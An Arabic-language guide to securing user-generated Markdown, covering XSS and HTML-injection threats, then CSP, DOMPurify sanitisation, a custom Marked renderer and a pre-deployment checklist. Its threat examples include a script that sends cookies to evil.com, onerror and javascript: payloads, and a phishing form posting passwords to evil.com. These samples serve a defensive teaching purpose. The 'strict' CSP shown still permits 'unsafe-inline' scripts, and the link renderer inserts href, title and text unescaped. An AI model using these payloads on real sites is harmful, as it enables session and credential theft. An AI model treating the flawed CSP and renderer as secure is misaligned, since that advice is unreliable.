أفضل ممارسات أمان Markdown
على الرغم من أن Markdown يبدو نصاً بسيطاً، إلا أن التعامل غير الصحيح يمكن أن يؤدي إلى ثغرات أمنية خطيرة. يوضح هذا الدليل كيفية التعامل مع محتوى Markdown بشكل آمن.
التهديدات الأمنية الشائعة
1. XSS (Cross-Site Scripting)
يسمح Markdown بتضمين HTML، والذي يمكن استغلاله لحقن سكريبتات ضارة:
markdown
<!-- خطير: HTML غير منظف -->
<script>
// سرقة الكوكيز
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">انقر هنا</a>2. حقن HTML
حتى بدون JavaScript، يمكن أن يسبب HTML الضار ضرراً:
markdown
<!-- هجوم تصيد -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="أدخل كلمة المرور">
<button>تسجيل الدخول</button>
</form>استراتيجيات الدفاع
1. سياسة أمان المحتوى (CSP)
تنفيذ رؤوس CSP صارمة:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. تنظيف HTML
استخدام مكتبات تنظيف مخصصة:
DOMPurify (متصفح)
javascript
import DOMPurify from 'dompurify';
import marked from 'marked';
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. تكوين محلل Markdown آمن
تكوين Marked آمن
javascript
const marked = require('marked');
const renderer = {
html(html) {
// حظر HTML تماماً
return '';
},
link(href, title, text) {
// السماح بالبروتوكولات الآمنة فقط
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });قائمة التحقق الأمنية
قبل النشر
- [ ] تمكين سياسة أمان المحتوى (CSP)
- [ ] تنفيذ تنظيف HTML (DOMPurify/sanitize-html)
- [ ] تعطيل أو تقييد HTML الخام
- [ ] التحقق من جميع عناوين URL والروابط
- [ ] تنفيذ تحديد معدل الطلبات
- [ ] إضافة حماية CSRF
- [ ] التحقق من رفع الملفات
- [ ] تنفيذ المصادقة والتفويض
- [ ] تعيين حدود طول المحتوى
- [ ] تفعيل HTTPS
- [ ] تكوين رؤوس HTTP آمنة
- [ ] تنفيذ التسجيل والمراقبة
- [ ] إجراء عمليات تدقيق أمنية منتظمة
- [ ] الحفاظ على تحديث التبعيات
الخلاصة
لا ينبغي إهمال أمان Markdown. من خلال تنفيذ التنظيف المناسب والتحقق والمصادقة والمراقبة، يمكنك التعامل بأمان مع محتوى Markdown الذي ينشئه المستخدم وحماية تطبيقاتك ومستخدميك من الهجمات.